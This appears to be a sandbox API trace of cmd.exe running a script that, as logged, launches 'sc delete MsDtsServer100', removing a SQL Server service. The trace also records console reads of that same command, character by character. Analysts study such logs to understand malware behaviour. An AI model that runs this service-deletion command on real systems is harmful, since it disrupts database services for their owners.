[0071.066] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0071.066] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0071.066] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0071.066] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0071.067] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0071.067] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0071.067] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0071.067] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0071.067] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0071.067] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0071.067] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0071.067] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.067] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.067] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.067] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.067] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.067] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.067] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.067] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.067] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0071.067] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0071.067] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0071.067] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0071.067] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0071.067] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0071.067] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0071.067] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0071.067] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0071.067] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0071.067] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0071.067] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0071.067] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0071.067] GetProcessHeap () returned 0x4a0000 [0071.067] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0071.067] GetProcessHeap () returned 0x4a0000 [0071.067] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0071.067] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete MsDtsServer100", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete MsDtsServer100", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete MsDtsServer100", lpProcessInformation=0x2cecc0*(hProcess=0x54, hThread=0x50, dwProcessId=0xb84, dwThreadId=0xa3c)) returned 1 [0071.073] CloseHandle (hObject=0x50) returned 1 [0071.073] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0071.073] GetProcessHeap () returned 0x4a0000 [0071.073] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba70 | out: hHeap=0x4a0000) returned 1 [0071.073] GetEnvironmentStringsW () returned 0x4c1b10* [0071.073] GetProcessHeap () returned 0x4a0000 [0071.073] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0071.073] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0071.073] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0071.073] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd8000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0071.073] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0071.120] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0071.120] CloseHandle (hObject=0x54) returned 1 [0071.120] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0071.120] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0071.120] GetProcessHeap () returned 0x4a0000 [0071.120] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0071.120] GetEnvironmentStringsW () returned 0x4c1b10* [0071.120] GetProcessHeap () returned 0x4a0000 [0071.120] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0071.120] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0071.120] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0071.120] GetProcessHeap () returned 0x4a0000 [0071.120] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0071.120] GetEnvironmentStringsW () returned 0x4c1b10* [0071.120] GetProcessHeap () returned 0x4a0000 [0071.121] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0071.121] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0071.121] GetProcessHeap () returned 0x4a0000 [0071.121] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0071.121] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0071.121] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0071.121] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.121] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0071.121] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.121] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0071.121] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.121] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0071.121] GetConsoleOutputCP () returned 0x1b5 [0071.122] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0071.122] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0071.122] GetProcessHeap () returned 0x4a0000 [0071.122] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0071.122] GetProcessHeap () returned 0x4a0000 [0071.122] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0071.122] GetProcessHeap () returned 0x4a0000 [0071.122] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0071.122] GetProcessHeap () returned 0x4a0000 [0071.122] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc590 | out: hHeap=0x4a0000) returned 1 [0071.122] GetProcessHeap () returned 0x4a0000 [0071.122] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa90 | out: hHeap=0x4a0000) returned 1 [0071.122] GetProcessHeap () returned 0x4a0000 [0071.122] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0071.122] GetProcessHeap () returned 0x4a0000 [0071.122] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa40 | out: hHeap=0x4a0000) returned 1 [0071.122] GetProcessHeap () returned 0x4a0000 [0071.122] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0071.122] GetProcessHeap () returned 0x4a0000 [0071.122] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0071.122] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0071.122] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.122] GetFileType (hFile=0x120) returned 0x3 [0071.122] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.122] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0071.122] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0071.123] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0071.123] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0071.123] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0071.123] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0071.123] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.123] GetFileType (hFile=0x120) returned 0x3 [0071.123] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.123] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0071.123] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0071.123] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.123] GetFileType (hFile=0xb8) returned 0x3 [0071.123] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.123] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.123] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.124] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete MsDtsServer100\nService\n\n") returned 1 [0071.124] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.124] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.124] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.124] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete MsDtsServer100\nService\n\n") returned 1 [0071.124] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.124] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.124] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.124] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete MsDtsServer100\nService\n\n") returned 1 [0071.124] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.124] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.124] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.124] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete MsDtsServer100\nService\n\n") returned 1 [0071.124] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.124] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.124] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.124] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete MsDtsServer100\nService\n\n") returned 1 [0071.124] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.124] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.124] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.124] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete MsDtsServer100\nService\n\n") returned 1 [0071.124] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.124] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.124] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.125] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete MsDtsServer100\nService\n\n") returned 1 [0071.125] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.125] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.125] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.125] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te MsDtsServer100\nService\n\n") returned 1 [0071.125] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.125] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.125] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.125] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e MsDtsServer100\nService\n\n") returned 1 [0071.125] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.125] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.125] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.125] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" MsDtsServer100\nService\n\n") returned 1 [0071.125] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.125] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.125] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.125] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="RsDtsServer100\nService\n\n") returned 1 [0071.125] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.125] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.125] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.125] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="eDtsServer100\nService\n\n") returned 1 [0071.125] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.125] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.125] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.125] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="ptsServer100\nService\n\n") returned 1 [0071.125] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.125] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.126] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.126] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="osServer100\nService\n\n") returned 1 [0071.126] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.126] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.126] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.126] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="rServer100\nService\n\n") returned 1 [0071.126] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.126] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.126] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.126] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="terver100\nService\n\n") returned 1 [0071.126] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.126] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.126] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.126] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="Srver100\nService\n\n") returned 1 [0071.126] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.126] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.126] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.126] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="ever100\nService\n\n") returned 1 [0071.126] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.126] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.126] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.126] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="rer100\nService\n\n") returned 1 [0071.126] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.126] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.126] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.127] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="vr100\nService\n\n") returned 1 [0071.127] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.127] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.127] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.127] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="e100\nService\n\n") returned 1 [0071.127] _get_osfhandle (_FileHandle=0) returned 0xb8 